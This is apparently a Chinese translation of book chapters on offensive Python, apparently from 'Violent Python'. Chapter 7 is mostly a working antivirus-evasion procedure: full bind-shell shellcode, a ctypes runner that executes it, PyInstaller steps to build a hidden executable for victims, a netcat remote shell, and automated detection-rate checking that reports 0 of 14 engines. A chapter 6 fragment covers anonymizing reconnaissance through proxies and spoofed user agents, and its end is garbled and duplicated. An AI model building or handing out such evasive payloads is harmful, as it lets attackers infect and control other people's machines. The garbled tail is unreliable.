第七章 躲避杀毒系统
最后更新于:2022-04-01 22:00:32
# 第七章 躲避杀毒系统
本章内容:
1. 使用Python Ctypes 工作
2. 使用Python 躲避杀毒软件
3. 使用Pyinstaller 构建Win32 可执行程序
4. 利用HTTPLib 发送GET/POST 请求
5. 和在线病毒扫描交互
> 这是一个“小男人”要向你证明的事情,无论你多么强大,无论你多么疯狂,你都必须接受失败!
> —Saulo Ribeiro 巴西柔术 六次世界冠军
# 简介:Flame!
2012 年5 月28 日,伊朗的Maher 中心检测到了一个复杂精妙的计算机网络攻击。这个攻击是此次的复杂,43 种杀毒引擎的43 种测试也无法辨认出在攻击中使用的恶意代码。发现一些ASCII 字符串出现在代码中后将它称为Flame,恶意软件出现的感染的系统是伊朗的国家计算机战略组。编译Lua 脚本命名为:Beetlejuice, Microbe, Frog, Snack, and Gator,恶意软件偷偷的通过蓝牙记录音频,感染附近的机器,上传截图和数据到远程的控制命令服务器。
估计恶意软件已经使用两年了,Kapersky 实验室很快的解释说Flame 是“迄今为止发现的最复杂的威胁之一”。它很大并且难以置信的复杂。然而,如何做到防病毒软件无法检测到它至少两年了?他们没有检测到它是因为大多数杀毒软件只要是将基于签名检测作为主要的检测方法。尽管一些厂商开始采取一些更复杂的方法如启发式或者名誉度,但这些依然是性概念。
在最后一章,我们将创建一个杀毒软件来躲避杀毒引擎。所使用的概念主要是Mark Baggett 实现的,大约一年前它分享了他的方法。然而,绕过杀毒软件的方法在本章的写作时间时任然可用。注意到Flame,使用了编译的Lua 脚本。我们将实现Mark 的方法,编译Python 脚本为Windows 可执行程序,为了躲避杀毒软件。
## 躲避杀毒软件
为了创建恶意软件,我们需要恶意代码。Metasploit 框架包含了一个恶意代码库。我们可以使用Metasploit 生成一些C 风格的ShellCode 作为恶意软件的攻击荷载。我们将使用简单的Windows 绑定shell,将绑定`cmd.exe` 到TCP 端口:这允许攻击者远程连接到主机并发出命令和`cmd.exe` 程序相交互。
```
attacker:∼# msfpayload windows/shell_bind_tcp LPORT=1337 C
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
```
接下来,我们写一个脚本执行这个C 风格shellcode。Python 允许导入外来函数的库。我们可以导入`ctypes` 库,它允许我们和C 语言的数据类型交互。定义一个变量存储我们的shellcode 之后,我们简单的把它作为一个函数并执行他,作为未来的参考,我们保存这个文件为`bindshell.py`。
```
from ctypes import *
shellcode =
("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");
memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
```
而此时的脚本将会在装有Python 解释器的Windows 上执行,让我们通过 Pyinstaller 编译软件提高它。(可以从 http://www.pyinstaller.org/ 获得)。Pyinstaller 将Python 脚本编译为独立的可执行程序,可以分发给没有安装Python 解释器的系统使用。在编译脚本之前,运行`Configure.py` 脚本绑定Pyinstaller 很重要。
```
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim>cd pyinstaller-1.5.1
C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py
I: read old config from config.dat
I: computing EXE_dependencies
I: Finding TCL/TK...
<..SNIPPED..>
I: testing for UPX...
I: ...UPX unavailable
I: computing PYZ dependencies...
I: done generating config.dat
```
接下来,我们将指导Pyinstaller 建立一个说明文件为Windows 的可执行文件做准备,我们将指示Pyinstaller 不显示一个控制台用 `--noconsole` 选项,最终构建一个最终的可执行程序到一个单独的文件用`--onefile` 选项。
```
C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile --noconsole bindshell.py
wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec
now run Build.py to build the executable
```
接下来,建立了说明文件后,我们将指示Pyinstaller 建立一个可执行文件分发给我们的受害者。Pyinstaller 创建一个名为`bindshell.exe` 的可执行程序在目录`bindshell\dist\`下,我们现在可以分发这个可执行程序给任何Windows 32 位系统的受害者。
```
C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\bindshell.spec
I: Dependent assemblies of C:\Python27\python.exe:
I: x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none
checking Analysis
<..SNIPPED..>
checking EXE
rebuilding outEXE2.toc because bindshell.exe missing
building EXE from outEXE2.toc
Appending archive to EXE bindshell\dist\bindshell.exe
```
在我们的受害者的电脑上运行可执行程序后,我们可以看到TCP 的1337 端口正在监听。
```
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP
Active Connections
Proto Local Address oreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1337 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING
```
连接到受害者的IP 地址和TCP 的1337 端口,我们看到我们的恶意软件正在成功的运行,正如预期的那样。但是它能成功的躲避杀毒软件码?在下一节我们将编写一个Python 脚本来验证:
```
attacker$ nc 192.168.95.148 1337
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>
```
## 验证躲避
我们将使用服务`vscan.novirusthanks.org` 扫描我们的可执行程序。NoVirusThanks 提供了一个WEB 页面接口上传可疑文件并用14 种不同的杀毒引擎扫描。使用WEB 页面接口上传恶意文件时可以告诉我们我们想知道的,让我们利用这个机会编写一个快速的Python 脚本来自动化处理这个过程。用tcpdump 捕获和WEB 页面接口交互的过程给了我们的Python 脚本的一个很好的开始点。我么可以看到,HTTP 头包含了一个围绕文件内容边界的设定。我们的脚本需要这些头和这些参数,为了提交文件:
```
POST / HTTP/1.1
Host: vscan.novirusthanks.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U
Referer: http://vscan.novirusthanks.org/
Accept-Language: en-us
Accept-Encoding: gzip, deflate-------WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="upfile";filename="bindshell.exe"
Content-Type: application/octet-stream
<..SNIPPED FILE CONTENTS..>
------WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="submitfile"
Submit File
------WebKitFormBoundaryF17rwCZdGuPNPT9U--
```
我们现在要利用`httplib` 编写一个快速的函数将文件名作为参数。打开文件后读取内容,它创建了一个到`vscan.novirusthanks.org` 的连接并提交头部和参数。页面返回的响应指向上传文件的分析内容页面。
```
def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...")
fileContents = open(fileName, 'rb').read()
header = {'Content-Type': 'multipart/form-data; boundary=----
WebKitFormBoundaryF17rwCZdGuPNPT9U'}
params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"upfile\"; filename=\""+str(fileName)+"\""
params += "\r\nContent-Type: "+"application/octetstream\r\n\r\n"
params += fileContents
params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"submitfile\"\r\n"
params += "\r\nSubmit File\r\n"
params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location
```
检查从`vscan.novirusthanks.org`,服务器返回的定位字段,我们可以看到服务器返回的构建页面来自:`http://vscan.novirusthanks.org +/file/ + md5sum(filecontents) + / + base64(filename)/`。该页面包含了一些JavaScript 来打印一些消息说正在扫描和加载页面直到完整的分析页面准备好。在这一点上,页面返回HTTP 302 状态码,跳转到`http://vscan.novirusthanks.org + /analysis/+md5sum(file contents) + / + base64(filename)/`页面。我们新的一页在URL 中简单的交换了分析的文档:
```
Date: Mon, 18 Jun 2012 16:45:48 GMT
Server: Apache
Location:http://vscan.novirusthanks.org/file/d5bb12e32840f4c3fa00662e412a66fc/bXNmLWV4ZQ==/
```
纵观分析页面的源代码,我们看到它包含一个检验率的字符串,该字符串包含了一些CSS 代码,我们需要将它剥离出来并打印在控制台。
```
File Info
Report date: 2012-06-18 18:48:20 (GMT 1)
File name: [b]bindshell-exe[/b]
File size: 73802 bytes
MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc
SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364
Detection rate: [color=red]0[/color] on 14 ([color=red]0%[/color])
```
在了解了如何连接分析页面并剥离CSS 代码,我们可以编写Python 脚本打印我们上传的可疑文件的扫描结果。首先,我们的脚本连接到返回扫描消息的文件页面,一旦这个页面返回一个HTTP 302重定向到我们的分析页面,我们可以使用正则表达式读取检测率然后替换CSS 代码为空字符串。我们将打印处检
测率字符串到屏幕上:
```
def printResults(url):
status = 200
host = urlparse(url)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...')
conn.close()
time.sleep(15)
print('[+] Scan Complete.')
path = path.replace('file', 'analysis')
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[1].replace('<font color=\'red\'>', '').replace('</font>', '')
print('[+] ' + str(htmlStripRes))
```
添加一些选项的解析,我们现在有一个脚本能够上传文件,使用`vscan.novirusthanks.org` 服务扫描它,并打印检测率:
```
import re
import httplib
import time
import os
import optparse
from urlparse import urlparse
def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...")
fileContents = open(fileName, 'rb').read()
header = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}
params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"upfile\"; filename=\""+str(fileName)+"\""
params += "\r\nContent-Type: "+"application/octet stream\r\n\r\n"
params += fileContents
params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"submitfile\"\r\n"
params += "\r\nSubmit File\r\n"
params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location
def printResults(url):
status = 200
host = urlparse(url)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...')
conn.close()
time.sleep(15)
print('[+] Scan Complete.')
path = path.replace('file', 'analysis')
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[1].replace('<font color=\'red\'>','').replace('</font>', '')
print('[+] ' + str(htmlStripRes))
def main():
parser = optparse.OptionParser('usage%prog -f ')
parser.add_option('-f', dest='fileName', type='string', help='specify filename')
(options, args) = parser.parse_args()
fileName = options.fileName
if fileName == None:
print(parser.usage)
exit(0)
elif os.path.isfile(fileName) == False:
print('[+] ' + fileName + ' does not exist.')
exit(0)
else:
loc = uploadFile(fileName)
printResults(loc)
if __name__ == '__main__':
main()
```
让我们先来测试一个已知的恶意软件来验证杀毒程序是否能成功的检测出来。我们将建立一个Windows TCP 绑定shell 绑定TCP 的1337 端口。使用Metasploit 默认的编码器,我们将编码它为一个标准的Windows 可执行程序。注意结果,我们能看到14 个杀毒引擎中有10 个检测出该文件是恶意的,这个文件很明显不能躲避杀毒软件的检测:
```
attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
Length: 341
Options: {"LPORT"=>"1337"}
attacker$ python virusCheck.py –f bindshell.exe
[+] Uploading file to NoVirusThanks...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scan Complete.
[+] Detection rate: 10 on 14 (71%)
```
然而,运行我们的检测脚本针对我们用Python 脚本编译的可执行程序,我们可以看到14 个杀毒引擎都检测失败。成功!我们可以用一点Python 完全的躲避杀毒引擎。
```
C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f
bindshell\dist\bindshell.exe
[+] Uploading file to NoVirusThanks...
[+] Scan Complete.
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Detection rate: 0 on 14 (0%)
```
## 本章总结
恭喜!你已经完成了最后一章,希望这本书对你有帮助。前面已经覆盖了各种不同的概念。从如何编写一些Python代码来协助网络测试开始,我们过渡到为法庭取证分析,分析网络流量,渗透测试无线网络,分析WEB 页面和社交平台编写代码。在最后一章解释了一个编写躲避杀毒引擎扫描的程序的方法。看完本书之后,返回到前面的章节。你可以怎样修改脚本来满足你特定的需求?你怎么让他们更有效,更高效或者更致命?例如在这一章中,你可以使用编码技术编码shellcode 来躲避杀毒引擎吗?你会怎样编写今天的Python 程序?对于这些想法,我们给你一些亚里士多德的智慧名言:“We make war that we may live in peace.”
';
第六章 WEB侦查
最后更新于:2022-04-01 22:00:30
# 第六章 WEB侦查
本章内容:
1. 使用`Mechanize`匿名浏览互联网
2. Python使用`Beautiful Soup`映射WEB元素
3. 使用Python与Google交互
4. 使用Python和Twitter交互
5. 自动钓鱼
> 在我生命的八十七年中,我亲眼目睹了技术革命的演替。但却没有人完成了人的思考和需要这一问题。
> —Bernard M. Baruch 美国第28到第32任总统的顾问
## 简介:今天的社会工程学
2010年,两个大规模的网络攻击改变了我们对网络战的理解。先前我们在第四章讨论过极光行动。在极光行动攻击中,瞄准了多个跨国的公司,雅虎,赛门铁克,Adobe等还有一些Google账户。华盛顿邮报报道这是一个新的有着先进水平的攻击。Stuxnet,第二次攻击,针对SCADA系统,特别是那些在伊朗的。网络维护者应该关注该蠕虫的发展,这是一个比极光行动更加先进和成熟的蠕虫攻击。尽管这两个网络攻击非常复杂,但他们有一个共同的关键点:他们的传播,至少部分是通过社会工程学传播的。不管多么复杂的和致命的网络攻击增加有效的社会工程学会增加攻击的有效性。在下面的章节中,我们将研究如何使用使用Python来实现自动化的社会工程学攻击。
在进行任何操作之前,攻击者应该有目标的详细信息,信息越多攻击的成功的机会越大。概念延伸到信息战争的世界。在这个邻域和当今时代,大部分所需的信息可以在互联网上找到,由于互联网庞大的规模,遗漏重要信息的可能性很高。为了防止信息丢失,计算机程序可以自动完成整个过程。Python是一个很好的执行自动化任务的工具,大量的第三方库允许我们轻松的和互联网,网站进行交互。
## 攻击之前的侦查
在本章中,我们通过程序对目标进行侦查。在这个发面关键是确保我们收集更多的信息量,而不被警惕性极高,能干的公司总部的网络管理员检测到。最后我们将看看如何汇总数据允许我们发动高度复杂的个性化的社会工程学攻击。确保在应用任何这些技术之前询问了执法官员和法律的意见。我们在这展示攻击和用过的工具是为了更好的理解他们的做法和知道如何在我们的生活中如何防范这种攻击。
## 使用Mechanize库浏览互联网
典型的计算机用户依赖WEB浏览器浏览网站和导航互联网。每一个站点都是不同的,可以包含图片,音乐和视频中的各种各样的组合。然而,浏览器实际上读取一个文本类型的文档,理解它,然后将他显示给用户,类似于一个Python程序的源文件和Python解释器的互动。用户可以使用浏览器访问站点或者使用不同的方法浏览他们的源代码。Linux下的我`wget`程序是个很受欢迎的方法。在Python中,浏览互联网的唯一途径是取回并下载一个网站的HTML源代码。有许多不同的库已经已经完成了处理WEB内容的任务。我们特别喜欢`Mechanize`,你在前几章已经用过。`Mechanize`: http://wwwsearch.sourceforge.net/mechanize/ 。
`Mechanize`主要的类Browser,允许任何可以在浏览器是上进行的操作。这个类也有其他的有用的方法是程序变得更简单。下面脚本演示了`Mechanize`最基本的使用:取回一个站点的源代码。这需要创建一个浏览器对象,然后调用`open()`函数。
```
import mechanize
def viewPage(url):
browser = mechanize.Browser()
page = browser.open(url)
source_code = page.read()
print(source_code)
viewPage('http://www.syngress.com/')
```
运行这个脚本,我们看到它打印出 `www.syngress.com` 首页的HTML代码。
```
recon:∼# python viewPage.py
Syngress.com - Syngress is a premier publisher of content in
the Information Security field. We cover Digital Forensics, Hacking
and Penetration Testing, Certification, IT Security and Administration, and
more.
<..SNIPPED..>
```
我们将使用`mechanize.Browser`类来构建脚本,在本章中浏览互联网。但是你不会受它的约束,Python提供了几个不同的方法浏览。这章使用`Mechanize`由于他提供了特殊的功能。John J. Lee设计的`Mechanize`提供可状态编程,简单的HTML表格和方便的解析和处理,例如`HTTP-Equiv`这样的命令和刷新。此外,它提供给你的内在对象是匿名的。这一切都会在下面的章节中用到。
## 匿名---增加代理,用户代理和Cookies
现在我们有从互联网获取网页内容的能力,退一步想想接下来的处理很有必要。我们的程序和在浏览器中打开一个网站没有什么不同,因此,我们应该采取同样的步骤在正常的浏览网页时建立匿名。网站查找唯一标识符来识别网页游客有几种不同的方法。第一种方法是通过记录请求的IP来确认用户。这可以通过使用虚拟专用网络(VPN)或者tor网络来缓和。一旦一个客户连接到VPN,然后,所有的将通过VPN自动处理。Python可以连接到代理服务器,给程序添加匿名功能。`Mechanize`的Browser类可以指定一个代理服务器属性。简单的设置浏览器代理是不够巧妙的。有很多的免费的代理网络,所以用户可以进去选择它们,通过它们的功能浏览。在这个例子中,我们选择 http://www.hidemyass.com/ 的HTTP代理。在你读到这里的时候这个代理很有可能已经不工作了。所以去这个网站得到使用不同HTTP代理的细节。此外,McCurdy维护了一个很好的代理列表在网站: http://rmccurdy.com/scripts/proxy/good.txt 。我们将测试我们的代理访问NOAA网站,它会友好的告诉你访问该网站时你的IP地址。
```
import mechanize
def testProxy(url, proxy):
browser = mechanize.Browser()
browser.set_proxies(proxy)
page = browser.open(url)
source_code = page.read()
print source_code
url = 'http://ip.nefsc.noaa.gov/'
hideMeProxy = {'http': '216.155.139.115:3128'}
testProxy(url, hideMeProxy)
```
虽然识别HTML源代码有一点困难,我们看到该网站人为我们的IP地址是`216.155.139.115`,我们的代理,成功!我们继续构建脚本。
```
recon:∼# python proxyTest.py
What's My IP Address?
<..SNIPPED..>
Your IP address is...
216.155.139.115
Your hostname appears to be...
font>
216.155.139.115. choopa.net ``` 我们现在有一个简单的匿名浏览器。站点使用浏览器的`user-agent`字符串来识别唯一用户另一种方法。在正常情况下,`user-agent`字符串让网站知道关于浏览器的重要信息能制作HTML代码给用户更好的体验。然而,这些信息柏包含内核版本,浏览器版本,和其他关于用户的详细信息。恶意网站利用这些信息针对特定的浏览器进行精密的渗透利用,而其他网站利用这些信息来区分电脑是位与NAT网络还是私有网络。最近,一个丑闻被爆出,一个旅游网站利用`user-agent`字符串来检测MacBook用户并提供更昂贵的选择。 幸运的是,`Mechanize`改变`user-agent`字符串和改变代理一样简单。网站: http://www.useragentstring.com/pages/useragentstring.php 为我们展示了一个巨大的有效的`user-agent`字符串名单供我们选择。我们将编写一个脚本来测试改变我们的`user-agent`字符串访问 http://whatismyuseragent.dotdoh.com/ 来打印出我们的`user-agent`字符。 ``` import mechanize def testUserAgent(url, userAgent): browser = mechanize.Browser() browser.addheaders = userAgent page = browser.open(url) source_code = page.read() print(source_code) url = 'http://whatismyuseragent.dotdoh.com/' userAgent = [('User-agent','Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')] testUserAgent(url, userAgent) ``` 运行这个脚本,我们看到我们可以用虚假的`user-agent`字符串来访问页面。 ``` recon:∼# python userAgentTest.pyBrowser UserAgent Test
216.155.139.115
216.155.139.115. choopa.net ``` 我们现在有一个简单的匿名浏览器。站点使用浏览器的`user-agent`字符串来识别唯一用户另一种方法。在正常情况下,`user-agent`字符串让网站知道关于浏览器的重要信息能制作HTML代码给用户更好的体验。然而,这些信息柏包含内核版本,浏览器版本,和其他关于用户的详细信息。恶意网站利用这些信息针对特定的浏览器进行精密的渗透利用,而其他网站利用这些信息来区分电脑是位与NAT网络还是私有网络。最近,一个丑闻被爆出,一个旅游网站利用`user-agent`字符串来检测MacBook用户并提供更昂贵的选择。 幸运的是,`Mechanize`改变`user-agent`字符串和改变代理一样简单。网站: http://www.useragentstring.com/pages/useragentstring.php 为我们展示了一个巨大的有效的`user-agent`字符串名单供我们选择。我们将编写一个脚本来测试改变我们的`user-agent`字符串访问 http://whatismyuseragent.dotdoh.com/ 来打印出我们的`user-agent`字符。 ``` import mechanize def testUserAgent(url, userAgent): browser = mechanize.Browser() browser.addheaders = userAgent page = browser.open(url) source_code = page.read() print(source_code) url = 'http://whatismyuseragent.dotdoh.com/' userAgent = [('User-agent','Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')] testUserAgent(url, userAgent) ``` 运行这个脚本,我们看到我们可以用虚假的`user-agent`字符串来访问页面。 ``` recon:∼# python userAgentTest.py